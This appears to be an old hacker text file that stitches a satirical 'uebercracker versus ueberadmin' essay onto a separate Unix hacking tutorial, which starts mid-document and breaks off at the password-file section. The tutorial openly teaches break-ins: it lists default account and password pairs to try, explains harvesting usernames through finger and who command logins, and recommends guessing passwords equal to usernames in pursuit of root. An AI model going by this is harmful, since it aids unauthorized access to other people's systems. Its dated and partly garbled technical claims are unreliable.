This is a paper will be broken into two parts, one showing 15 easy steps to becoming a uebercracker and the next part showing how to become a ueberadmin and how to stop a uebercracker. A uebercracker is a term phrased by Dan Farmer to refer to some elite (cr/h)acker that is practically impossible to keep out of the networks. Here's the steps to becoming a uebercracker. Step 1. Relax and remain calm. Remember YOU are a Uebercracker. Step 2. If you know a little Unix, you are way ahead of the crowd and skip past step 3. Step 3. You may want to
buy Unix manual or book to let you know what ls,cd,cat does. Step 4. Read Usenet for the following groups: alt.irc, alt.security, comp.security.unix. Subscribe to Phrack@well.sf.ca.us to get a background in uebercracker culture. Step 5. Ask on alt.irc how to get and compile the latest IRC client and connect to IRC. Step 6. Once on IRC, join the #hack channel. (Whew, you are half-way there!) Step 7. Now, sit on #hack and send messages to everyone in the channel saying "Hi, Whats up?". Be obnoxious to anyone else that joins and asks questions like "Why cant I join #warez?" Step 8. (Important Step) Send private messages to everyone asking for new bugs or holes. Here's a good pointer, look around your system for binary programs suid root (look in Unix manual from step 3 if confused). After finding a suid root binary, (ie. su, chfn, syslog), tell people you have a new bug in that program and you wrote a script for it. If they ask how it works, tell them they are "layme". Remember, YOU are a UeberCracker. Ask them to trade for their get-root scripts. Step 9. Make them send you some scripts before you send some garbage file (ie. a big core file). Tell them it is encrypted or it was messed up and you need to upload your script again. Step 10. Spend a week grabbing all the scripts you can. (Dont forget to be obnoxious on #hack otherwise people will look down on you and not give you anything.) Step 11. Hopefully you will now have atleast one or two scripts that get you root on most Unixes. Grab root on your local machines, read your admin's mail, or even other user's mail, even rm log files and whatever temps you. (look in Unix manual from step 3 if confused). Step 12. A good test for true uebercrackerness is to be able to fake mail. Ask other uebercrackers how to fake mail (because they have had to pass the same test). Email your admin how "layme" he is and how you got root and how you erased his files, and have it appear coming from satan@evil.com. Step 13. Now, to pass into supreme eliteness of uebercrackerness, you brag about your exploits on #hack to everyone. (Make up stuff, Remember, YOU are a uebercracker.) Step 14. Wait a few months and have all your notes, etc ready in your room for when the FBI, Secret Service, and other law enforcement agencies confinscate your equipment. Call eff.org to complain how you were innocent and how you accidently gotten someone else's account and only looked because you were curious. (Whatever else that may help, throw at them.) Step 15. Now for the true final supreme eliteness of all uebercrackers, you go back to #hack and brag about how you were busted. YOU are finally a true Uebercracker. Now the next part of the paper is top secret. Please only pass to trusted administrators and friends and even some trusted mailing lists, Usenet groups, etc. (Make sure no one who is NOT in the inner circle of security gets this.) This is broken down on How to Become an UeberAdmin (otherwise know as a security expert) and How to stop Uebercrackers. Step 1. Read Unix manual ( a good idea for admins ). Step 2. Very Important. chmod 700 rdist; chmod 644 /etc/utmp. Install sendmail 8.6.4. You have probably stopped 60 percent of all Uebercrackers now. Rdist scripts is among the favorites for getting root by uebercrackers. Step 3. Okay, maybe you want to actually secure your machine from the elite Uebercrackers who can break into any site on Internet. Step 4. Set up your firewall to block rpc/nfs/ip-forwarding/src routing packets. (This only applies to advanced admins who have control of the router, but this will stop 90% of all uebercrackers from attempting your site.) Step 5. Apply all CERT and vendor patches to all of your machines. You have just now killed 95% of all uebercrackers. Step 6. Run a good password cracker to find open accounts and close them. Run tripwire after making sure your binaries are untouched. Run tcp_wrapper to find if a uebercracker is knocking on your machines. Run ISS to make sure that all your machines are reasonably secure as far as remote configuration (ie. your NFS exports and anon FTP site.) Step 7. If you have done all of the following, you will have stopped 99% of all uebercrackers. Congrads! (Remember, You are the admin.) Step 8. Now there is one percent of uebercrackers that have gained knowledge from reading some security expert's mail (probably gained access to his mail via NFS exports or the guest account. You know how it is, like the mechanic that always has a broken car, or the plumber that has the broken sink, the security expert usually has an open machine.) Step 9. Here is the hard part is to try to convince these security experts that they are not so above the average citizen and that by now giving out their unknown (except for the uebercrackers) security bugs, it would be a service to Internet. They do not have to post it on Usenet, but share among many other trusted people and hopefully fixes will come about and new pressure will be applied to vendors to come out with patches. Step 10. If you have gained the confidence of enough security experts, you will know be a looked upto as an elite security administrator that is able to stop most uebercrackers. The final true test for being a ueberadmin is to compile a IRC client, go onto #hack and log all the bragging and help catch the uebercrackers. If a uebercracker does get into your system, and he has used a new method you have never seen, you can probably tell your other security admins and get half of the replies like - "That bug been known for years, there just isn't any patches for it yet. Here's my fix." and the other half of the replies will be like - "Wow. That is very impressive. You have just moved up a big notch in my security circle." VERY IMPORTANT HERE: If you see anyone in Usenet's security newsgroups mention anything about that security hole, Flame him for discussing it since it could bring down Internet and all Uebercrackers will now have it and the million other reasons to keep everything secret about security. Well, this paper has shown the finer details of security on Internet. It has shown both sides of the coin. Three points I would like to make that would probably clean up most of the security problems on Internet are as the following: 1. Vendors need to make security a little higher than zero in priority. If most vendors
shipped their Unixes already secure with most known bugs that have been floating around since the Internet Worm (6 years ago) fixed and patched, then most uebercrackers would be stuck as new machines get added to Internet. (I believe Uebercracker is german for "lame copy-cat that can get root with 3 year old bugs.") An interesting note is that if you probably check the mail alias for "security@vendor.com", you will find it points to /dev/null. Maybe with enough mail, it will overfill /dev/null. (Look in manual if confused.) 2. Security experts giving up the attitude that they are above the normal Internet user and try to give out information that could lead to pressure by other admins to vendors to come out with fixes and patches. Most security experts probably don't realize how far their information has already spread. 3. And probably one of the more important points is just following the steps I have outlined for Stopping a Uebercracker.
------------------------ o A little History, etc: ------------------------ UNIX, of course, was invented By AT&T in the 60's somewhere, to be "a programmer's operating system." While that goal was probably not reached when they first invented UNIX, it seems that now, UNIX is a programmer's OS. UNIX, as I have said before, is a multi-tasking/multi-user OS. It is also written in C, or at least large parts of it are, thus making it a portable operating system. We know that MSDOS corresponds to IBM/clone machines, right? Well, this is not the case with UNIX. We do not associate it with any one computer since it has been adapted for many, and there are many UNIX variants [that is, UNIX modified by a vendor, or such]. Some AT&T computers run it, and also some run MSDOS [AT&T 6300]. The SUN workstations run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version of UNIX. Remember, no matter what the name of the operating system is [BSD, UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the commands the operating system uses. Some variants may have features others do not, but they are basically similar in that they have a lot of the same commands/datafiles. When someone tries to tell you that UNIX goes along with a certain type of computer, they may be right, but remember, some computers have more than one Operating system. For instance, one person may tell you that UNIX is to a VAX as MSDOS is to IBM/clones. That is untrue, and the only reason I stated that, was because I have seen many messages with info /comparisons in it like that, which confuse users when they see a VAX running VMS. ------------------------------- o Identifying a Unix/Logging in ------------------------------- From now on, I will be referring to all the UNIX variants/etc as UNIX, so when I say something about UNIX, it generally means all the variants (Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless I state a variant in particular. Okay. Now its time for me to tell you how a unix USUALLY greets you. First, when you call up a UNIX, or connect to one however you do, you will usually get this prompt: login: Ok. Thats all fine and dandy. That means that this is PROBABLY a Unix, although there are BBS's that can mimic the login procedure of an OS (Operating System), thus making some people believe its a Unix. [Hah!]. Some Unixes will tell you what they are or give you a message before a login: prompt, as such: Welcome to SHUnix. Please log in. login: Or something like that. Public access Unixes [like Public BBSs] will tell you how to logon if you are a new users. Unfortunatly, this phile is not about public access Unixes, but I will talk about them briefly later, as a UUCP/UseNet/Bitnet address for mail. OK. You've gotten to the login prompt! Now, what you need to do here is enter in a valid account. An Account usually consists of 8 characters or less. After you enter in an account, you will probably get a password prompt of some sort. The prompts may vary, as the source code to the login program is usually supplied with UNIX, or is readily available for free. Well, The easiest thing I can say to do to login is basically this: Get an account, or try the defaults. The defaults are ones that came with the operating system, in standard form. The list of some of the Defaults are as follows: ACCOUNT PASSWORD ------- -------- root root - Rarely open to hackers sys sys / system / bin bin sys / bin mountfsys mountfsys adm adm uucp uucp nuucp anon anon anon user user games games install install reboot * See Below demo demo umountfsys umountfsys sync sync admin admin guest guest daemon daemon The accounts root, mountfsys, umountfsys, install, and sometimes sync are root level accounts, meaning they have sysop power, or total power. Other logins are just "user level" logins meaning they only have power over what files/processes they own. I'll get into that later, in the file permissions section. The REBOOT login is what as known as a command login, which just simply doesn't let you into the operating system, but executes a program assigned to it. It usually does just what it says, reboot the system. It may not be standard on all UNIX systems, but I have seen it on UNISYS unixes and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have not been passworded [reboot], which is real stupid, if you ask me. COMMAND LOGINS: --------------- There are "command logins", which, like reboot, execute a command then log you off instead of letting you use the command interpreter. BSD is notorious for having these, and concequently, so does MIT's computers. Here are some: rwho - show who is online finger - same who - same These are the most useful, since they will give the account names that are online, thus showing you several accounts that actually exist. Errors: ------- When you get an invalid Account name / invalid password, or both, you will get some kind of error. Usually it is the "login incorrect" message. When the computer tells you that, you have done something wrong by either entering an invalid account name, or a valid account name, but invalid password. It does not tell you which mistake you made, for obvious reasons. Also, when you login incorrectly, the error log on the system gets updated, letting the sysops(s) know something is amiss. Another error is "Cannot change to home directory" or "Cannot Change Directory." This means that no "home directory" which is essentially the 'root' directory for an account, which is the directory you start off in. On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in /homedirectory. [Note: The / is used in directories on UNIX, not a \ ]. Most systems will log you off after this, but some tell you that they will put you in the root directory [ '/']. Another error is "No Shell". This means that no "shell" was defined for that particular account. The "shell" will be explained later. Some systems will log you off after this message. Others will tell you that they will use the regular shell, by saying "Using the bourne shell", or "Using sh" ----------------------------- Accounts In General : ----------------------------- This section is to hopefully describe to you the user structure in the UNIX environment. Ok, think of UNIX having two levels of security: absolute power, or just a regular user. The ones that have absolute power are those users at the root level. Ok, now is the time to think in numbers. Unix associates numbers with account names. each account will have a number. Some will have the same number. That number is the UID [user-id] of the account. the root user id is 0. Any account that has a user id of 0 will have root access.Unix does not deal with account names (logins) but rather the number associated with them. for instance, If my user-id is 50, and someone else's is 50, with both have absolute power of each other, but no-one else. --------------- Shells : --------------- A shell is an executable program which loads and runs when a user logs on, and is in the foreground. This "shell" can be any executable prog-ram, and it is defined in the "passwd" file which is the userfile. Each login can have a unique "shell". Ok. Now the shell that we usually will work with is a command interpreter. A command interpreter is simply something like MSDOS's COMMAND.COM, which processes commands, and sends them to the kernel [operating system]. A shell can be anything, as I said before, but the one you want to have is a command interpreter. Here are the usual shells you will find: sh - This is the bourne shell. It is your basic Unix "COMMAND.COM". It has a "script" language, as do most of the command interpreters on Unix sys-tems. csh - This is the "C" shell, which will allow you to enter "C" like commands. ksh - this is the korn shell. Just another command interpreter. tcsh - this is one, which is used at MIT I believe. Allows command editing. vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS rsh - restricted shell OR remote shell. Both Explained later. There are many others, including "homemade " shells, which are programs written by the owner of a unix, or for a specific unix, and they are not standard. Remember, the shell is just the program you get to use and when it is done executing, you get logged off. A good example of a homemade shell is on Eskimo North, a public access Unix. The shell is called "Esh", and it is just something like a one-key-press BBS, but hey, its still a shell. The Number to eskimo north is 206-387-3637. [206-For-Ever]. If you call there, send Glitch Lots of mail. Several companies use Word Processors, databases, and other things as a user shell, to prevent abuse, and make life easier for unskilled computer operators. Several Medical Hospitals use this kind of shell in Georgia, and fortunatly, these second rate programs leave major holes in Unix. Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they give you a choice between a command interpreter, or a BBS as a shell. WHen you have a command interpreter, the prompt is usually a: $ when you are a root user the prompt is usually a: # The variable, PS1, can be set to hold a prompt. For instance, if PS1 is "HI:", your prompt will be: HI: ------------------------ SPecial Characters, ETc: ------------------------ Control-D : End of file. When using mail or a text editor, this will end the message or text file. If you are in the shell and hit control-d you get logged off. Control-J: On some systems, this is like the enter key. @ : Is sometimes a "null" ? : This is a wildcard. This can represent a letter. If you specified something at the command line like "b?b" Unix would look for bob,bib,bub, and every other letter/number between a-z, 0-9. * : this can represent any number of characters. If you specified a "hi*" it would use "hit", him, hiiii, hiya, and ANYTHING that starts with hi. "H*l" could by hill, hull, hl, and anything that starts with an H and ends with an L. [] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The [], ?, and * are usually used with copy, deleting files, and directory listings. EVERYTHING in Unix is CASE sensitive. This means "Hill" and "hill" are not the same thing. This allows for many files to be able to be stored, since "Hill" "hill" "hIll" "hiLl", etc. can be different files. So, when using the [] stuff, you have to specify capital letters if any files you are dealing with has capital letters. Most everything is lower case though. ---------------- Commands to use: ---------------- Now, I will rundown some of the useful commands of Unix. I will act as if I were typing in the actual command from a prompt. ls - this is to get a directory. With no arguments, it will just print out file names in either one column or multi-column output, depending on the ls program you have access to. example: $ ls hithere runme note.text src $ the -l switch will give you extended info on the files. $ ls -l rwx--x--x sirhack sirh 10990 runme and so on.... the "rwx--x--x" is the file permission. [Explained Later] the "sirhack sirh" is the owner of the file/group the file is in. sirhack = owner, sirh = user-group the file is in [explained later] the 10990 is the size of the file in bytes. "runme" is the file name. The format varies, but you should have the general idea. cat - this types out a file onto the screen. should be used on text files. only use it with binary files to make a user mad [explained later] ex: $ cat note.txt This is a sample text file! $ cd - change directory . You do it like this: cd /dir/dir1/dir2/dirn. the dir1/etc.... describes the directory name. Say I want to get to the root directory. ex: $ cd / *ok, I'm there.* $ ls bin sys etc temp work usr all of the above are directories, lets say. $ cd /usr $ ls sirhack datawiz prophet src violence par phiber scythian $ cd /usr/sirhack $ ls hithere runme note.text src $ ok, now, you do not have to enter the full dir name. if you are in a directory, and want to get into one that is right there [say "src"], you can type "cd src" [no "/"]. Instead of typing "cd /usr/sirhack/src" from the sirhack dir, you can type "cd src" cp - this copies a file. syntax for it is "cp fromfile tofile" $ cp runme runme2 $ ls hithere runme note.text src runme2 Full pathnames can be included, as to copy it to another directory. $ cp runme /usr/datwiz/runme mv - this renames a file. syntax "mv oldname newname" $ mv runme2 runit $ ls hithere runme note.text src runit files can be renamed into other directories. $ mv runit /usr/datwiz/run $ ls hithere runme note.text src $ ls /usr/datwiz runme run pwd - gives current directory $ pwd /usr/sirhack $ cd src $ pwd /usr/sirhack/src $ cd .. $ pwd /usr/sirhack [ the ".." means use the name one directory back. ] $ cd ../datwiz [translates to cd /usr/datwiz] $ pwd /usr/datwiz $ cd $home [goto home dir] $ pwd /usr/sirhack rm - delete a file. syntax "rm filename" or "rm -r directory name" $ rm note.text $ ls hithere runme src $ write - chat with another user. Well, "write" to another user. syntax: "write username" $ write scythian scythian has been notified Hey Scy! What up?? Message from scythian on tty001 at 17:32 hey! me: So, hows life? scy: ok, I guess. me: gotta go finish this text file. scy: ok me: control-D [to exit program] $ who [w,who,whodo] - print who is online $ who login term logontime scythian + tty001 17:20 phiberO + tty002 15:50 sirhack + tty003 17:21 datawiz - tty004 11:20 glitch - tty666 66:60 $ the "who" commands may vary in the information given. a "+" means you can "write" to their terminal, a "-" means you cannot. man - show a manual page entry. syntax "man command name" This is a help program. If you wanted to know how to use... "who" you'd type $ man who WHO(1) xxx...... and it would tell you. stty - set your terminal characteristics. You WILL have to do "man stty" since each stty is different, it seems like. an example would be: $ stty -parenb to make the data params N,8,1. A lot of Unixes operate at e,7,1 by default. sz,rz - send and recieve via zmodem rx,sx - send / recieve via xmodem rb,sb - send via batch ymodem. These 6 programs may or may not be on a unix. umodem - send/recieve via umodem. $ sz filename ready to send... $ rz filename please send your file.... ...etc.. ed - text editor. Usage "ed filename" to create a file that doesn't exist, just enter in "ed filename" some versions of ed will give you a prompt, such as "*" others will not $ ed newtext 0 * a This is line 1 This is line 2 [control-z] * 1 [to see line one] This is line 1 * a [keep adding] This is line 3 [control-z] *0a [add after line 0] This is THE first line [control-z] 1,4l This is THE first line This is line 1 This is line 2 This is line 3 * w 71 * q $ The 71 is number of bytes written. a = append l = list # = print line number w - write l fname = load fname s fname = save to fname w = write to current file q = quit mesg - turn write permissions on or off to your terminal (allow chat) format "mesg y" or "mesg n" cc - the C compiler. don't worry about this one right now. chmod - change mode of a file. Change the access in other words. syntax: "chmod mode filename" $ chmod a+r newtext Now everyone can read newtext. a = all r = read. This will be explained further in the File System section. chown - change the owner of a file. syntax: "chown owner filename" $ chown scythian newtext $ chgrp - change the group [explained later] of a file. syntax: "chgrp group file" $ chgrp root runme $ finger - print out basic info on an account. Format: finger username grep - search for patterns in a file. syntax: "grep pattern file" $ grep 1 newtext This is Line 1 $ grep THE newtext This is THE first line $ grep "THE line 1" newtext $ mail - This is a very useful utility. Obviously, you already know what it is by its name. There are several MAIL utilities, such as ELM, MUSH and MSH, but the basic "mail" program is called "mail". The usage is: "mail username@address" or "mail username" or "mail" or "mail addr1!addr2!addr3!user" "mail username@address" - This is used to send mail to someone on another system, which is usually another UNIX, but some DOS machines and some VAX machines can recieve Unix Mail. When you use "mail user@address" the system you are on MUST have a "smart mailer" [known as smail], and must have what we call system maps. The smart mailer will find the "adress" part of the command and expand it into the full pathname usually. I could look like this: mail phiber@optik then look like this to the computer: mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber Do not worry about it, I was merely explaining the principal of the thing. Now, if there is no smart mailer online, you'll have to know the FULL path name of the person you wish to mail to. For Instance, I want to mail to .. phiber. I'd do this if there were no smart mailer: $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber Hey Guy. Whats up? Well, gotta go. Nice long message huh? [control-D] $ Then, when he got it, there would be about 20 lines of information, with like a post mark from every system my message went thru, and the "from" line would look like so: From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack Now, for local mailing, just type in "mail username" where username is the login you want to send mail to. Then type in your message. Then end it with a control-D. To read YOUR mail, just type in mail. IE: $ mail From scythian ............ To sirhack ............ Subject: Well.... Arghhh! ? The dots represent omitted crap. Each Mail program makes its own headings. That ? is a prompt. At this prompt I can type: d - delete f username - forward to username w fname - write message to a file named fname s fname - save message with header into file q - quit / update mail x - quit, but don't change a thing m username - mail to username r - reply [enter] - read next message + - go forward one message - : go back one h - print out message headers that are in your mailbox. There are others, to see them, you'd usually hit '?'. -------- If you send mail to someone not on your system, you will have to wait longer for a reply, since it is just as a letter. A "postman" has to pick it up. The system might call out, and use UUCP to transfer mail. Usually, uucp accounts are no good to one, unless you have uucp available to intercept mail. ps - process. This command allows you to see what you are actually doing in memory. Everytime you run a program, it gets assigned a Process Id number (PID), for accounting purposes, and so it can be tracked in memory, as well as shut down by you, or root. usually, the first thing in a process list given by "ps" is your shell name. Say I was logged in under sirhack, using the shell "csh" and running "watch scythian". The watch program would go into the background, meaning I'd still be able to do things while it was running: $ ps PID TTY NAME 122 001 ksh 123 001 watch $ That is a shortened PS. That is the default listing [a brief one]. The TTY column represents the "tty" [i/o device] that the process is being run from. This is only useful really if you are using layers (don't worry) or more than one person is logged in with the same account name. Now, "ps -f" would give a full process listing on yourself, so instead of seeing just plain ole "watch" you'd most likely see "watch scythian" kill - kill a process. This is used to terminate a program in memory obvio-ously. You can only kill processes you own [ones you started], unless you are root, or your EUID is the same as the process you want to kill. (Will explain euid later). If you kill the shell process, you are logged off. By the same token, if you kill someone else's shell process, they are logged off. So, if I said "kill 122" I would be logged off. However, kill only sends a signal to UNIX telling it to kill off a process. If you just use the syntax "kill pid" then UNIX kills the process WHEN it feels like it, which may be never. So, you can specify urgency! Try "kill -num pid" Kill -9 pid is a definite kill almost instantly. So if I did this: $ kill 122 $ kill 123 $ ps PID TTY NAME 122 001 ksh 123 001 watch $ kill -9 123 [123]: killed $ kill -9 122 garbage NO CARRIER Also, you can do "kill -1 0" to kill your shell process to log yourself off. This is useful in scripts (explained later). ------------------- Shell Programmin' ------------------- Shell Programming is basically making a "script" file for the standard shell, being sh, ksh, csh, or something on those lines. Its like an MSDOS batch file, but more complex, and more Flexible. This can be useful in one aspect of hacking. First, lets get into variables. Variables obviously can be assigned values. These values can be string values, or numberic values. number=1 That would assign 1 to the variable named "number". string=Hi There or string="Hi There" Both would assign "Hi there" to a variable. Using a variable is different though. When you wish to use a variable you must procede it with a dollar ($) sign. These variables can be used as arguments in programs. When I said that scripts are like batch files, I meant it. You can enter in any name of a program in a script file, and it will execute it. Here is a sample script. counter=1 arg1="-uf" arg2="scythian" ps $arg1 $arg2 echo $counter That script would translate to "ps -uf scythian" then would print "1" after that was finished. ECHO prints something on the screen whether it be numeric, or a string constant. Other Commands / Examples: read - reads someting into a variable. format : read variable . No dollar sign is needed here! If I wwanted to get someone's name, I could put: echo "What is your name?" read hisname echo Hello $hisname What is your name? Sir Hackalot Hello Sir Hackalot Remember, read can read numeric values also. trap - This can watch for someone to use the interrupt character. (Ctrl-c) format: trap "command ; command ; command ; etc.." Example: trap "echo 'Noway!! You are not getting rid o me that easy' ; echo 'You gotta see this through!'" Now, if I hit control-c during the script after this statement was executed, I'd get: Noway!! You are not getting rid of me that easy You gotta see this through! exit : format :exit [num] This exists the shell [quits] with return code of num. ----- CASE ----- Case execution is like a menu choice deal. The format of the command or structure is : case variable in 1) command; command;; 2) command; command; command;; *) command;; esac Each part can have any number of commands. The last command however must have a ";;". Take this menu: echo "Please Choose:" echo "(D)irectory (L)ogoff (S)hell" read choice case $choice in D) echo "Doing Directory..."; ls -al ;; L) echo Bye; kill -1 0;; S) exit;; *) Echo "Error! Not a command";; esac The esac marks the end of a case function. It must be after the LAST command. Loops ----- Ok, loops. There are two loop functins. the for loops, and the repeat. repeat looks like this: repeat something somethin1 somethin2 this would repeat a section of your script for each "something". say i did this: repeat scythian sirhack prophet I may see "scythian" then sirhack then prophet on my screen. The for loop is defined as "for variable in something do .. .. done" an example: for counter in 1 2 3 do echo $counter done That would print out 1 then 2 then 3. Using TEST ---------- The format: Test variable option variable The optios are: -eq = -ne <> (not equal) -gt > -lt < -ge >= -le <= for strings its: = for equal != for not equal. If the condition is true, a zero is returned. Watch: test 3 -eq 3 that would be test 3 = 3, and 0 would be returned. EXPR ---- This is for numeric functions. You cannot simply type in echo 4 + 5 and get an answer most of the time. you must say: expr variable [or number] operator variable2 [or number] the operators are: + add - subtract * multiply / divide ^ - power (on some systems) example : expr 4 + 5 var = expr 4 + 5 var would hold 9. On some systems, expr sometimes prints out a formula. I mean, 22+12 is not the same as 22 + 12. If you said expr 22+12 you would see: 22+12 If you did expr 22 + 12 you'd see: 34 SYSTEM VARIABLES ---------------- These are variables used by the shell, and are usually set in the system wide .profile [explained later]. HOME - location of your home directory. PS1 - The prompt you are given. usually $ . On BSD its usually & PATH - This is the search path for programs. When you type in a program to be run, it is not in memory; it must be loaded off disk. Most commands are not in Memory like MSDOS. If a program is on the search path, it may be executed no matter where you are. If not, you must be in the directory where the program is. A path is a set of directories basically, seperated by ":"'s. Here is a typical search path: :/bin:/etc:/usr/lbin:$HOME: When you tried to execute a program, Unix would look for it in /bin, /etc, /usr/lbin, and your home directory, and if its not found, an error is spewed out. It searches directories in ORDER of the path. SO if you had a program named "sh" in your home directory, and typed in "sh", EVEN if you were in your home dir, it would execute the one in /bin. So, you must set your paths wisely. Public access Unixes do this for you, but systems you may encounter may have no path set. TERM - This is your terminal type. UNIX has a library of functions called "CURSES" which can take advantage of any terminal, provided the escape codes are found. You must have your term set to something if you run screen oriented programs. The escape codes/names of terms are found in a file called TERMCAP. Don't worry about that. just set your term to ansi or vt100. CURSES will let you know if it cannot manipulate your terminal emulation. ------------------- The C compiler ------------------- This Will be BRIEF. Why? Becuase if you want to learn C, go buy a book. I don't have time to write another text file on C, for it would be huge. Basically, most executables are programmed in C. Source code files on unix are found as filename.c . To compile one, type in "cc filename.c". Not all C programs will compile, since they may depend on other files not there, or are just modules. If you see a think called "makefile" you can usually type in just "make" at the command prompt, and something will be compiled, or be attempted to compile. When using make or CC, it would be wise to use the background operand since compiling sometimes takes for ever. IE: $ cc login.c& [1234] $ (The 1234 was the process # it got identified as). _____________________________________________________________________________ --------------- The FILE SYSTEM --------------- This is an instrumental part of UNIX. If you do not understand this section, you'll never get the hang of hacking Unix, since a lot of Pranks you can play, and things you can do to "raise your access" depend on it. First, Let's start out by talking about the directory structure. It is basically a Hiearchy file system, meaning, it starts out at a root directory and expands, just as MSDOS, and possibly AmigaDos. Here is a Directory Tree of sorts: (d) means directory / (root dir) | |--------------------| bin (d) usr (d) ----^-------------------- | | | sirhack(d) scythian (d) prophet (d) | src (d) Now, this particular system contains the following directories: / /bin /usr /usr/sirhack /usr/sirhack/src /usr/scythian /usr/prophet Hopefully, you understood that part, and you should. Everything spawns from the root directory. o File Permissions! ------------------ Now, this is really the biggie. File Permissions. It is not that hard to understand file permissions, but I will explain them deeply anyway. OK, now you must think of user groups as well as user names. Everyone belongs to a group. at the $ prompt, you could type in 'id' to see what group you are in. Ok, groups are used to allow people access certain things, instead of just having one person controlling/having access to certain files. Remember also, that Unix looks at someone's UID to determine access, not user name. Ok. File permissions are not really that complicated. Each file has an owner This OWNER is usually the one who creates the file, either by copying a file or just by plain editing one. The program CHOWN can be used to give someone ownership of a file. Remember that the owner of a file must be the one who runs CHOWN, since he is the only one that can change the permissions of a file Also, there is a group owner, which is basically the group that you were in when the file was created. You would use chgrp to change the group a file is in. Now, Files can have Execute permissions, read permissions, or write permission. If you have execute permission, you know that you can just type in the name of that program at the command line, and it will execute. If you have read permission on a file, you can obviously read the file, or do anything that reads the file in, such as copying the file or cat[ing] it (Typing it). If you do NOT have access to read a file, you can't do anything that requires reading in the file. This is the same respect with write permission. Now, all the permissions are arranged into 3 groups. The first is the owner's permissions. He may have the permissions set for himself to read and execute the file, but not write to it. This would keep him from deleting it. The second group is the group permissions. Take an elongated directory for an example: $ ls -l runme r-xrwxr-- sirhack root 10990 March 21 runme ok. Now, "root" is the groupname this file is in. "sirhack" is the owner. Now, if the group named 'root' has access to read, write and execute, they could do just that. Say .. Scythian came across the file, and was in the root user group. He could read write or execute the file. Now, say datawiz came across it, but was in the "users" group. The group permissions would not apply to him, meaning he would have no permissions, so he couldn't touch the file, right? Sorta. There is a third group of permissions, and this is the "other" group. This means that the permissions in the "other" group apply to everyone but the owner, and the users in the same group as the file. Look at the directory entry above. the r-x-rwxr-- is the permissions line. The first three characters are the permissions for the owner (r-x). The "r-x" translates to "Read and execute permissions, but no write permissions" the second set of three, r-xRWXr-- (the ones in capital letters) are the group permissions. Those three characters mean "Read, write, and execution allowed" The 3rd set, r-xrwxR-- is the permissions for everyone else. It means "Reading allowed, but nothing else". A directory would look something like this: $ ls -l drwxr-xr-x sirhack root 342 March 11 src A directory has a "d" at the beggining of the permissions line. Now, the owner of the directory (sirhack) can read from the directory, write in the directory, and execute programs from the directory. The root group and every- one else can only read from the directory, and execute off the directory. So, If I changed the directory to be executable only, this is what it would look like: $ chmod go-r $ ls drwx--x--x sirhack root 342 March 11 src Now, if someone went into the directory besides "sirhack", they could only execute programs in the directory. If they did an "ls" to get a directory of src, when they were inside src, it would say "cannot read directory". If there is a file that is readable in the directory, but the directory is not readable, it is sometimes possible to read the file anyway. If you do not have execute permissions in a directory, you won't be able to execute anything in the directory, most of the time. _____________________________________________________________________________ -------------- Hacking: -------------- The first step in hacking a UNIX is to get into the operating system by finding a valid account/password. The object of hacking is usually to get root (full privileges), so if you're lucky enough to get in as root, you need not read anymore of this hacking phile , and get into the "Having Fun" Section. Hacking can also be just to get other's accounts also. Getting IN ---------- The first thing to do is to GET IN to the Unix. I mean, get past the login prompt. That is the very first thing. When you come across a UNIX, sometimes it will identify itself by saying something like, "Young INC. Company UNIX" or Just "Young Inc. Please login" Here is where you try the defaults I listed. If you get in with those you can get into the more advanced hacking (getting root). If you do something wrong at login, you'll get the message "login incorrect" This was meant to confuse hackers, or keep the wondering. Why? Well, you don't know if you've enterred an account that does not exist, or one that does exist, and got the wrong password. If you login as root and it says "Not on Console", you have a problem. You have to login as someone else, and use SU to become root. Now, this is where you have to think. If you cannot get in with a default, you are obviously going to have to find something else to login as. Some systems provide a good way to do this by allowing the use of command logins. These are ones which simply execute a command, then logoff. However, the commands they execute are usually useful. For instance there are three common command logins that tell you who is online at the present time. They are: who rwho finger If you ever successfully get one of these to work, you can write down the usernames of those online, and try to logon as them. Lots of unsuspecting users use there login name as their password. For instance, the user "bob" may have a password named "bob" or "bob1". This, as you know, is not smart, but they don't expect a hacking spree to be carried out on them. They merely want to be able to login fast. If a command login does not exist, or is not useful at all, you will have to brainstorm. A good thing to try is to use the name of the unix that it is identified as. For instance, Young INC's Unix may have an account named "young" Young, INC. Please Login. login: young UNIX SYSTEM V REL 3.2 (c)1984 AT&T.. .. .. .. Some unixes have an account open named "test". This is also a default, but surprisingly enough, it is sometimes left open. It is good to try to use it. Remember, brainstorming is the key to a unix that has no apparent defaults open. Think of things that may go along with the Unix. type in stuff like "info", "password", "dial", "bbs" and other things that may pertain to the system. "att" is present on some machines also. ONCE INSIDE -- SPECIAL FILES ---------------------------- There are several files that are very important to the UNIX environment. They are as follows: /etc/passwd - This is probably the most important file on a Unix. Why? well, basically, it holds the valid usernames/passwords. This is important since only those listed in the passwd file can login, and even then some can't (will explain). The format for the passwordfile is this: username:password:UserID:GroupID:description(or real name):homedir:shell Here are two sample entries: sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh demo::101:100:Test Account:/usr/demo:/usr/sh In the first line, sirhack is a valid user. The second field, however, is supposed to be a password, right? Well, it is, but it's encrypted with the DES encryption standard. the part that says "&a,Ty" may include a date after the comma (Ty) that tells unix when the password expires. Yes, the date is encrypted into two alphanumeric characters (Ty). In the Second example, the demo account has no password. so at Login, you could type in: login: demo UNIX system V (c)1984 AT&T .. .. But with sirhack, you'd have to enter a password. Now, the password file is great, since a lot of times, you;ll be able to browse through it to look for unpassworded accounts. Remember that some accounts can be restricted from logging in, as such: bin:*:2:2:binaccount:/bin:/bin/sh The '*' means you won't be able to login with it. Your only hope would be to run an SUID shell (explained later). A note about the DES encryption: each unix makes its own unique "keyword" to base encryption off of. Most of the time its just random letters and numbers. Its chosen at installation time by the operating system. Now, decrypting DES encrypted things ain't easy. Its pretty much impossible. Especially decrypting the password file (decrypting the password field within the password file to be exact). 